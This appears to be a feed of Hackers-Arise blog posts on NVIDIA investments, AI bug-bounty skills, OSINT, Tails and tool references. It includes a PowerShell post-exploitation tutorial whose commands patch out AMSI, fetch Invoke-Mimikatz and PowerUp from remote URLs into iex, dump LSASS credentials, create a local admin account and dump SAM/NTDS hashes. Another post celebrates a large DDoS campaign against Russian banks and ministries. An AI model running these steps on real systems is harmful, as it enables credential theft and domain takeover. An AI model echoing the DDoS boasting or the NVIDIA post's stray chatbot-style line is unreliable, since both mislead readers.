Welcome back, my aspiring cyberwarriors!

Many aspiring cyberwarriors write to me asking where they should start in artificial intelligence for cybersecurity and the answer is simple, Hackers-Arise! We have dozens of tutorials–and now classes– on how to apply AI to cybersecurity. In addition, we are the sponsor of the upcoming Wittgenstein Award for the best AI cybersecurity agents. This will give our students an inside look at the development of the best of the best in AI cybersecurity as our students will have an opportunity participate and use the models and agents we develop.

Beyond learning AI for cybersecurity, there is another issue. There are many platforms, models, and hardware to choose from. Comparable to Cisco at the advent of internet in the 1990’s, those who hitched their wagon to Cisco found themselves in an advantageous position regarding jobs and promotions. I want to make the case that NVIDIA is the company you should be hitching your wagon to in this new era.

As you know, NVIDIA is the most valuable company in the world! It is rapidly growing an eco-system that will exceed that of Apple and Cisco. They have quietly built an eco-system of AI that will make it very hard to dislodge them from this dominant position. Jensen Huang and NVIDIA are building an almost impenetrable wall around their eco-system assuring it will be here for years to come.

NVIDIA began as a start-up 1993 building graphics processing units (GPU) for PC gamers. Processing pixels for any graphics intensive product is very compute intensive and NVIDIA made those games come alive. Graphics processing is compute intensive as every image is made of millions of tiny polygons that the GPU must compute it’s size, color, and movement. This means crunching a vast amount of data and Jensen Huang and his colleagues developed a graphics card capable of doing all those calculations very fast through massive parallelism. GPU’s have thousands of cores capable of doing these calculations serially and simultaneously. That is the magic of NVIDIA GPU’s and it is what makes NVIDIA GPU’s the preferred chip for AI. Neural networks–the foundation of our LLM’s at this moment– are built almost entirely from matrix multiplications. This means that the same calculation needs to run over and over on different data. The NVIDIA GPU is uniquely designed for this.

Now let’s take a look at the NVIDIA eco-system that Jensen Huang is building in AI.

Major Equity Investments / Strategic Partnerships

Jensen Huang has made numerous investments in companies positioned to benefit from the coming age of AI, including:

Mellonox –in 2019 NVIDIA agrred to buy Mellanox, an Israeli maker of high-speed Infiniband and Ethernet interconnects for $6.9 billion. NVIDIA needed faster interconnects between to communicate to and from it’s super fast GPU’s and other hardware and Mellanox provided that.

ARM— the British chip designer was the next firm in NVIDIA’s cross-hairs. Jensen Huand recognized that needed powerful and efficient CPU’s to manage his systems. ARM designs RISC-based CPU’s that power the mobile world due to their unique combination of speed and efficiency. NVIDIA offered $40 billion to purchase ARM for what Huang called “the world’s premier computing company for the age of AI.” The US FTC sued to block the acquisition and NVIDIA dropped it’s pursuit of owning ARM. Instead, it holds ARM and it’s CPU’s in close partnership integrating their CPU’s in a multitude of products. Interestingly, ARM is now worth about $250 billion, 6x what Huang offered for it just 6 years ago.

OpenAI — NVIDIA and OpenAI announced a letter of intent to deploy at least 10 gigawatts of NVIDIA systems, with NVIDIA intending to invest up to $100 billion in OpenAI progressively as each gigawatt is deployed. Earlier in 2026, OpenAI raised $110 billion at a $730 billion pre-money valuation, with NVIDIA and SoftBank each investing $30 billion and Amazon investing $50 billion. NVIDIA also noted in its 10-K ( a type of disclosure required by US regulators at the SEC) that it’s finalizing an investment and partnership agreement with OpenAI, though there’s no assurance the transaction will be completed.

Anthropic — NVIDIA and Anthropic announced a deep technology partnership to optimize Claude models for NVIDIA architecture and vice versa; Anthropic’s Series H in May 2026 raised $65 billion at a $965 billion post-money valuation, making it one of NVIDIA’s two largest single-company bets alongside OpenAI.

CoreWeave — NVIDIA holds a stake with an original 7% stake (24.2 million shares) worth roughly $2 billion at IPO, plus an additional $2 billion investment in early 2026, on top of a prior $6.3 billion agreement to purchase CoreWeave’s unused computing capacity through 2032.

xAI — A structure of $7.5 billion in equity plus $12.5 billion in debt, largely through a special purpose vehicle for GPU purchases, supporting xAI’s Colossus 2 data center in Memphis.

Hugging Face — A pending acquisition-related investment of $12.9 billion.

Mistral AI — NVIDIA remains an investor alongside lead backer ASML, with Mistral valued at €11.7 billion (about $13.8 billion).

AI Infrastructure Financing

In August of this year (2026), NVIDIA announced a partnership with some of the largest financial firms in the world including Apollo, BlackRock, Brookfield, Goldman Sachs, and KKR. This partnership was designed to facilitate financing of AI infrastructure and, of course, NVIDIA GPU’s.

Venture / Ecosystem Programs

A roughly £2 billion (~$2.6 billion) UK commitment flowing through partner VCs — Accel, Air Street Capital, Balderton, Hoxton Ventures, and Phoenix Court — into startups in London, Oxford, Cambridge, and Manchester.

Similar “VC Alliance” partnerships extended to European firms including Accel, Elaia, Partech, and Sofinnova, offering DGX Cloud Lepton marketplace credits to portfolio companies.

Scale

NVIDIA has committed over $50 billion across AI labs, cloud services, data centers, and optical communications, with private company assets reaching $47.9 billion by July 2026 and about $18 billion in equity commitments still to be executed.

This list isn’t exhaustive — NVIDIA also has long-standing commercial partnerships with cloud providers (AWS, Microsoft Azure, Google Cloud, Oracle), automakers, and chip/hardware partners that function differently from these financial stakes. Let me know if you’d like me to dig into any particular category.

Summary

NVIDIA and Jensen Huang have quietly built an almost impenetrable eco-system of artificial intelligence systems through acquisitions, partnerships, and financing. Similar to the eco-system CISCO built with networking equipment at the advent of the Internet, it will be advantageous to become part of this eco-system as it will likely be dominant for the foreseeable future.

The post The NVIDIA AI Ecosystem: A Quick Guide first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.

There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.

Bug Bounty Skills

Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.

The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.

You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.

The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.

Here are a few examples of the results we got with these skills.

API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.

Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.

We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.

Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings. 

Active Directory Skills

Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).

Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.

General Cybersecurity Skills

Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.

Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.

SCADA Skills

On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.

The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.

Science Skills

Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.

1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.

Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.

The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.

Summary

AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.

Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.

The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.

Welcome back, pentesters!

For quite a while we’ve been covering different ways PowerShell can be used by hackers. You’ve learned about persistence, evasion, survival and the mayhem you can cause with PowerShell.

Today we’ll show you a basic workflow for interacting with a Windows system once you’ve gained some access. You’ll see privilege escalation, AMSI bypass and dumping credentials from a host. PowerShell can be used to exploit systems, even though it was never built for that purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that usually get done manually can be automated with the scripts. Let’s start by learning about AMSI.

AMSI Bypass

AMSI is the Antimalware Scan Interface. It’s a Windows feature that sits between script engines like PowerShell or Office macros and whatever AV/EDR product is installed on the machine. When you execute something, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script attacks and malware. Hackers are constantly looking for ways to keep that content from ever reaching AMSI  or to alter it so it won’t match detection rules.

You’ll see plenty of articles and tools claiming to bypass AMSI, but soon after they get released, Microsoft patches the vulnerability. That doesn’t mean these bypasses don’t exist. They certainly do and hackers use them, so it’s worth being familiar with this attack. Let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on our target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we wouldn’t need any AMSI bypass.

Patching AMSI

We need to patch AMSI using our script. Let’s download it:

PS > wget   https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1 -O shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a simple one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, Defender doesn’t have access to your PowerShell sessions and anything can be executed in it. 

It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Since you can run whatever you want now, let’s use Mimikatz to grab credentials. We’ll run it in memory without ever letting it touch disk. The command below can be paired with the AMSI script to keep it off the disk entirely.

Note that we are using Invoke-Mimikatz.ps1 by g4uss47 and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we don’t recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and see what’s there in the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of a brand manager. If we compromised a more valuable system in the domain, like a server or a database, we could expect domain admin credentials. You’ll see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Sometimes systems are misconfigured and regular users end up with admin privileges on them, so you won’t need to bother much here. That can let you skip privilege escalation entirely and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors for privilege escalation, but among the most common are unquoted service paths and insecure file permissions. Insecure file permissions can be abused easily by just swapping in a malicious file with the same name as the legitimate one, but unquoted service paths take more work for a beginner. That’s why we’ll cover this attack today with the help of PowerUp. Before we get into it, it’s worth mentioning that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services, where the full path to the service executable has spaces in it but isn’t wrapped in quotation marks. Since Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can get interpreted ambiguously. The system might search for an executable at C:\Program.exe or C:\Program Files\My.exe before it ever reaches the intended service.exe. A hacker can drop their own executable at one of those earlier locations and the system will run that instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService  

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

With enough privileges, we can dump NTDS and SAM without having to deal with security products at all, just using native Windows functions. These attacks usually take multiple commands, since dumping only NTDS or only a SAM hive doesn’t get you anywhere on its own. That’s why we added a new script to our repository. It automatically identifies what kind of host you’re running it on and dumps the files you need. NTDS only exists on Domain Controllers and holds the credentials of every Active Directory user, so you won’t find this file on regular machines. Regular machines get exploited instead by dumping their SAM and SYSTEM hives. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then we execute the script to dump SAM and SYSTEM hives:

PS > wget https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper -O ntds.ps1

PS > .\ntds.ps1

# or in memory only
PS > iwr https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper | iex

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

kali > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you’ve already compromised a domain admin or managed to escalate your privileges on the Domain Controller, you might want to grab the credentials of every user in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. You can load scripts into Evil-WinRM straight from your machine so they execute on the target without ever touching disk. It can also patch AMSI, but be really careful with that.

Connect to the DC:

kali > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command to save them. Then run this command:

kali > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

PowerShell can also be used for privilege escalation and complete domain compromise. We showed you a few steps where each builds on the previous one. Hackers can chain these small misconfigurations to take over an organization. 

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Welcome back, my cyberwarriors!

In this series, we will detail how an individual or small group of cyberwarriors can impact global geopolitics. The knowledge and tools that YOU hold are a superpower that can change history.

Use it wisely.

To begin this discussion, let’s look at the actions of a small group of hackers at the outset of the Russian invasion of Ukraine. We will detail these actions up to the present, attempting to demonstrate that even a single individual or small group can influence global outcomes in our connected digital world. Cyber war is real and even a single individual can have an impact on global political outcomes.

Let’s begin in February 2022, nearly 3 years ago. At that time, Ukraine was struggling to throw off the yoke of Russian domination. As a former member state of the Soviet Union (the successor to the Romanov’s Russian Empire), they declared their independence, like so many former Soviet republics (such as Estonia, Latvia, Lithuania, Georgia, Armenia, Kazakhstan, and others) from that failed and brutal alliance in 1991 (this is the moment that the Soviet Union disintegrated). This union failed primarily due to the inability of the Soviet Union to address the needs of their citizens. Simple things like food, clean water, and consumer goods. And, of course, the tyranny.

Russia, having lost absolute control of these nations, attempted to maintain influence and control by bending their leaders to Putin’s will. In Ukraine, this meant a string of leaders who answered to Putin, rather than the Ukrainian people. In addition, Russian state-sponsored hackers such as Sandworm, attacked Ukraine’s digital infrastructure repeatedly to create chaos and confusion within the populace. This included the famous BlackEnergy3 attack in 2014 against the Ukrainian power transmission system that blacked out large segments of Ukraine in the depths of winter (for more on this and other Russian cyberattacks against Ukraine, read this article).

In February 2022, the US and Western intelligence agencies warned of an imminent attack from Russia on Ukraine. In an unprecedented move, the US president and the intelligence community revealed, (based upon satellite and human intelligence-) that Russia was about to invade Ukraine. The new Ukrainian president, Volodymyr Zelenskyy, publicly denied and tried to minimize the probability that an attack was about to take place. Zelenskyy had been a popular comedian and actor in Ukraine (there is a Netflix comedy made by Zelenskyy before he became president named “Servant of the People”) and was elected president in a landslide election as the people of Ukraine attempted to clean Russian domination from their politics and become part of the free Europe. Zelenskyy may have denied the likelihood of a Russian attack to bolster the public mood in Ukraine and not anger the Russian leader (Ukraine and Russia have long family ties on both sides of the border) .

We at Hackers-Arise took these warnings to heart and started to prepare.

First, we enumerated the key websites and IP addresses of critical and essential Russian military and commercial interests. There was no time to do extensive vulnerability research on each of those sites with the attack imminent, so instead, we readied one of the largest DDoS attacks in history! The goal was to disable the Russians’ ability to use their websites and digital communications to further their war ends and cripple their economy. This is exactly the same tactic that Russia had used in previous cyber wars against their former republics, Georgia and Estonia. In fact, at the same time, Russian hackers had compromised the ViaSat satellite internet service and were about to send Ukraine and parts of Europe into Internet darkness (read about this attack here).

We put out the word to hackers around the world to prepare. Tens of thousands of hackers prepared to protect Ukraine’s sovereignty. Eventually, when Russian troops crossed the border into Ukraine on February 24, 2022, we were ready. At this point in time, Ukraine created the IT Army of Ukraine and requested assistance from hackers across the world, including Hackers-Arise.

Within minutes, we launched the largest DDoS attack the Russians had ever seen, over 760GB/sec (as documented later by the Russian telecom provider, Rostelcom). This was twice the size of any DDoS attack in Russian history (https://www.bleepingcomputer.com/news/security/russia-s-largest-isp-says-2022-broke-all-ddos-attack-records/) This attack was a coordinated DDoS attack against approximately 50 sites in Russia such as the Department of Defense, the Moscow Stock Exchange, Gazprom, and other key commercial and military interests.

As a result of this attack, Russian military and commercial interests were hamstrung. Websites were unreachable and communication was hampered. After the fact, Russian government leaders estimated that 17,000 IP addresses had participated and they vowed to exact revenge on all 17,000 of us (we estimated the actual number was closer to 100,000).

This massive DDoS attack, unlike any Russia had ever seen and totally unexpected by Russian leaders, hampered the coordination of military efforts and brought parts of the Russian economy to its knees. The Moscow Stock Exchange shut down and the largest bank, Sberbank, closed. This attack continued for about 6 weeks and effectively sent the message to the Russian leaders that the global hacker/cyberwarrior community opposed their aggression and was willing to do something about it. This was a
first in the history of the world!

The attack was simple in the context of DDoS attacks. Most DDoS attacks in our modern era involve layer 7 resources to make sites unavailable, but this one was simply an attack to clog the pipelines in Russia with “garbage” traffic. It worked. It worked largely because Russia was arrogant and unprepared without adequate DDoS protection from the likes of Cloudflare or Radware.

Within days, we began a new campaign to target the Russian oligarchs, the greatest beneficiaries of Putin’s kleptocracy (you can read more about it here). These oligarchs are complicit in robbing the Russian people of their resources and income for their benefit. They are the linchpin that keeps the murderer, Putin, in power. In this campaign, initiated by Hackers-Arise, we sought to harass the oligarchs in their yachts throughout the world (the oligarchs escape Russia whenever they can). We sought to first (1) identify their yachts, then (2) locate their yachts, and finally (3) send concerned citizens to block their fueling and re-supply. In very short order, this campaign evolved into a program to capture these same super yachts and hold them until the war was over, eventually to sell and raise funds to rebuild Ukraine. We successfully identified, located, and seized the top 9 oligarch yachts (worth billions of USD), including Putin’s personal yacht (this was the most difficult). All of them were seized by NATO forces and are still being held.

In the next few posts here we will detail;

1. The request from the Ukraine Army to hack IP cameras in Ukraine for surveillance and our success in doing so;

2. The attacks against Russian industrial systems resulted in damaging fires and other malfunctions.

   Look for Master OTW’s book, “A Cyberwarrior Handbook”, coming in 2026.

The post The CyberWarrior Handbook, Part 01 first appeared on Hackers Arise.

Hackers-Arise Offers the Best Cybersecurity Training on the Planet!

We attract the best students from around the world and make them the best cyberwarriors on the planet!

Don’t take our word for it, look what are students are saying! These are all unsolicited testimonials from real people!

To participate in this state-of-the-art training, we offer multiple training packages. One for nearly every budget and every skill level, such as:

Member Gold

This is a monthly program where you can study online over 40 courses.

Subscriber

This is our most popular program. You can attend live trainings by Master OTW and study over 40 previous courses in the Subscriber package online. These courses are for those in the beginner to intermediate level.

Subscriber Pro

This is our ultimate package. It includes all the courses available at Hackers-Arise. Includes our advanced and specialty courses such as Satellite Hacking, SCADA Hacking, IoT Hacking, IP Camera Hacking, Bitcoin Forensics and many more!

What are you waiting for? Get started in the most exciting field in IT with the best training company, Hackers-Arise!

For more on our many training packages and Subscriptions, click here.

The post Hackers-Arise Offers the Best Cybersecurity Training on the Planet! Listen to What our Students are Saying! first appeared on Hackers Arise.

Welcome back, aspiring OSINT investigators!

Most people are actively represented on social media. Moreover, they maintain their pages quite actively and publish a huge amount of interesting information about themselves. Therefore, if a person caught our attention during OSINT, it definitely makes sense to find their social media pages and examine them.

In this article, we will figure out how to effectively search by nickname using the Sherlock utility. Let’s get rolling!

What Does Sherlock Do?

Sherlock is an open-source OSINT tool designed to find usernames across a wide range of social networks and websites. It can currently check for a given username across 400+ websites and platforms, allowing investigators to quickly determine where a username is active.

Sherlock is designed to be straightforward for open source investigations: it does not require API keys or login credentials for the sites it checks; instead, it simply constructs the expected profile URL for each site and observes the response to determine whether the username exists on a given platform. This means it only accesses publicly available information and cannot bypass privacy settings or account restrictions.

Sherlock Installation & Usage

To install Sherlock, open a Linux terminal and run the command below.

kali> sudo apt install sherlock

Once the installation is complete, verify that Sherlock is installed correctly by running the help command:

kali> sherlock –help

After reviewing the help, we can move on directly to the search. We can do this by simply running the following command in the terminal:

kali> sherlock <username>

After some time, we can see 49 positive results. However, as with any tool, it’s important to verify whether these profiles match the person you’re searching for.

The results will be saved to a .txt file named after the search term. But according to the help screen, we can save the results in XLSX and CSV formats as well.

kali> sherlock <username> –csv

In the screenshot above, you can see at the top the command itself and at the bottom the results in CSV format.

Another valuable feature is limiting the scope to certain sites, for example, Instagram and GitHub.

kali> sherlock <username> –site GitHub –site Instagram

Moreover, we can modify the timeout and route requests through a proxy. The default timeout is 60 seconds, but let’s try reducing it to 1 second.

kali> sherlock –timeout 1 <username>

Summary

Sherlock is a powerful OSINT tool that offers a fast and efficient way to search for social media profiles across multiple platforms. It’s definitely one to add to your research toolbox!

If you want to improve your OSINT skills, check out this OSINT Investigator Bundle. It covers both fundamental and advanced techniques and includes an OSINT Certified Investigator Voucher.

The post Open-Source Intelligence(OSINT): Sherlock – The Ultimate Username Enumeration Tool first appeared on Hackers Arise.

Welcome back, aspiring cyber warriors and privacy-conscious readers!

After a full-scale invasion of Ukraine, the number of Tor bridge users has grown. End-to-end encrypted messengers like Signal went to the charts. People around the world realize the value of privacy, because when you’re fighting, information might cost you a life.

If you want more privacy on the Internet, the operating system that you use is playing a crucial role. Common to everyone, Windows and macOS are really comfortable in use but also collect a lot of information about you. So it’s time for Linux. Specifically, Tails.

What is Tails?

Tails (The Amnesic Incognito Live System) is an open-source Debian-based portable operating system that runs from a USB flash drive. All connections are forced through a Tor network. All information is loaded into RAM, so when you shut down the PC, all your evidence is lost.

There is a widespread opinion online that Tails is, like, a super anonymous operating system. That is not entirely true. Of course, it does provide anonymity. But that comes through the Tor network, support for network bridges, and automatic MAC address spoofing, which is great, but nowadays that is hardly surprising.

In reality, Tails is more about portability and security, both for your data and for the user themselves. You can have a secure operating system at hand, configured the way you need it, with the software you need. So, you can use it on any computer without worrying about leaving traces.

Installing

To download the Tails image, visit the official site tails.net. Pick your operating system from the list. In our case, it’s Linux.

It is recommended to ensure the integrity of the downloaded image by checking for any corruption using the form on the website after completing the download.

The next step is installing Tails using gnome-disks. If you don’t have it installed, run sudo apt install gnome-disk-utility. Plug in the USB stick on which you want to install Tails and start Disk Manager. After a new drive appears on the left panel, click on it. Be careful to choose the correct option, so you don’t overwrite your host OS.

Click on the three dots in the titlebar and choose Restore Disk Image. Choose the downloaded image, start restoring it, and take a break.

After restoring, you’ll have a USB stick with an installed Tails OS. The next step is changing the boot order in the BIOS. Booting into the BIOS will depend on your device manufacturer, so Google will help.

When the computer starts after changes in the BIOS, you will see the bootloader with options. Choose the first one.

Every time Tails boots, you will be greeted by the screen below.

Here you can make some changes to the system by clicking on the plus sign.

If you plan to use sudo, for example to install software, you need to set an administrator password (it is disabled by default). MAC address spoofing is also enabled by default in Tails. Here, you can also disable the internet entirely or allow only Tor Browser to be used.

After selecting the initial settings in the welcome window, click Start Tails.

You’ll see the Tor connection settings like below.

That’s it! Now you have a functional OS that runs from the USB and wipes all the data when you turn it off.

Features

Firstly, I want to mention that in addition to the usual shutdown methods, there is a faster alternative: if you simply pull the Tails USB flash drive out of the computer, the system will automatically shut down. However, if a protected partition is mounted, it may be damaged, so this method should be used only in extreme cases.

Secondly, Tails by default has Metadata Cleaner and Mat2 apps to remove metadata from files. Metadata is used to describe, identify, categorize, and sort files, but can also be used to deanonymize users and expose private information.

Thirdly, Tails supports both LUKS and VeraCrypt encrypted volumes.

Tails developers recommend using VeraCrypt to share encrypted files across different operating systems, and using LUKS to encrypt files for Tails and Linux.

Summary

Tails is a good choice for storing truly important files and documents, allowing them to be quickly transferred in encrypted form and backed up quickly to other storage media. Also, it’s suitable for use on other people’s computers. You can be confident that it won’t leave any traces on the host OS.

However, if you’re looking for true anonymity against big tech or somebody else, you need to dive deeper. Just Tails won’t help you much. Therefore, you’re invited to visit our Remaining Anonymous training on August 11-13.

The post Remaining Anonymous: Getting Started with Tails first appeared on Hackers Arise.

The post Software Defined Radio (SDR) for Hackers: Choosing the Best Hardware for SDR first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Think back to the first time you installed Kali Linux. It was probably one of those moments where you realized just how many cybersecurity tools existed. Your applications menu was packed with hundreds of tools covering everything from recon and vulnerability scanning to exploitation, password attacks, wireless security and much more.

At first, it was exciting. But most beginners spend hours clicking through the menus wondering what every tool does and when they should actually use it. Unfortunately, the sheer number of applications quickly becomes overwhelming. Even if you dedicate time to learning them, chances are you’ll forget many of their names simply because there are so many available. On top of that, documentation isn’t always beginner-friendly. Some projects have excellent documentation, while others assume you already know exactly what the tool is supposed to do before you even start reading.

The good news is that you don’t have to memorize hundreds of commands or remember every tool available. Instead, you can build your own arsenal of references that helps you quickly find the right tool.

In this article, we’re going to build exactly that. We’ll explore two resources called Arsenal-NG and Arsenal, both of which are designed to make finding offensive security tools, payloads, commands much faster.

Arsenal-NG

The first tool we’ll look at is Arsenal-NG. The name pretty much explains what it does. Arsenal-NG is essentially a searchable collection of offensive security tools, commands, and predefined workflows. Whether you’re doing reconnaissance, exploiting a service, generating payloads, Arsenal-NG can help you find the right tool for the job.

Let’s install it.

kali > git clone https://github.com/halilkirazkaya/arsenal-ng.git
kali > cd arsenal-ng
kali > make build

Once compilation finishes, you can launch the program directly. For convenience, you may also want to move the binary into one of the directories listed in your PATH environment variable. Doing so allows you to start Arsenal-NG from any directory. 

kali > arsenal-ng

When it starts, you’ll immediately notice a large collection of tools organized inside the interface. Each tool includes predefined presets for different kinds of operations. 

To display the complete list of available tools, simply run tools

If you already know what kind of task you’re trying to accomplish but don’t remember what tool can do it, you can use the built-in search feature. Searching by keywords makes it easy to discover them.

Once you’ve found the tool you need, selecting one of its presets walks you through the required parameters. There you simply provide the requested information and let it generate the command for you.

If you need additional information about the application itself, run help.

Arsenal

Unlike Arsenal-NG, Arsenal focuses primarily on web exploitation and can be used directly from your browser. There is no installation process, making it convenient when you simply need a quick reference.

You can access it here.

One thing worth mentioning is that the website supports multiple languages. If the interface isn’t already in English, simply switch the language using the selector in the upper-right corner. Once inside, you’ll notice that the content is organized into several different sections, each designed to help with a different phase of a web penetration test.

One of them is Payloads.

This area contains a huge collection of payloads covering many different types of web vulnerabilities and exploitation techniques. Whether you’re working with command injection, SQL injection, XSS, SSTI, XXE, deserialization, or other common web vulnerabilities, chances are you’ll find useful examples here.

Another valuable section is Attack Chains.

Rather than simply providing payloads, Attack Chains guide you through the overall exploitation process. They outline the sequence of steps typically required to compromise a target.

The Commands section is another good reference.

You can build the command you need by selecting the appropriate options.

Then we have Wordlists.

There are numerous wordlists organized into logical categories, making it much easier to find exactly what you’re looking for. Each category often contains several different wordlists optimized for different situations. 

You’ll also find a large collection of Scripts.

These scripts cover a wide variety of purposes, including reconnaissance, AI-related security checks, subdomain takeovers, automation and more.

Of course, we’ve only scratched the surface. Arsenal contains more additional sections that are worth exploring on your own. Spend some time clicking through the different categories and seeing what they have.

Summary

Building your own cybersecurity arsenal isn’t about memorizing every command ever written. In fact, no experienced pentester or hacker remembers every tool, every option or every payload. There are simply too many of them, and new ones are being developed all the time. Arsenal-NG and Arsenal can help you organize knowledge. They are valuable when you’re getting started and they remain just as useful years later when you’re experienced.

Since many of these tools fall into different categories, such as network pentesting, web pentesting, bug bounty hunting, and more, the best way to develop your skills is through our Member Gold subscription. It gives you access to a wide variety of training courses covering different areas.

The post Linux for Hackers: Building Your Tool Arsenal first appeared on Hackers Arise.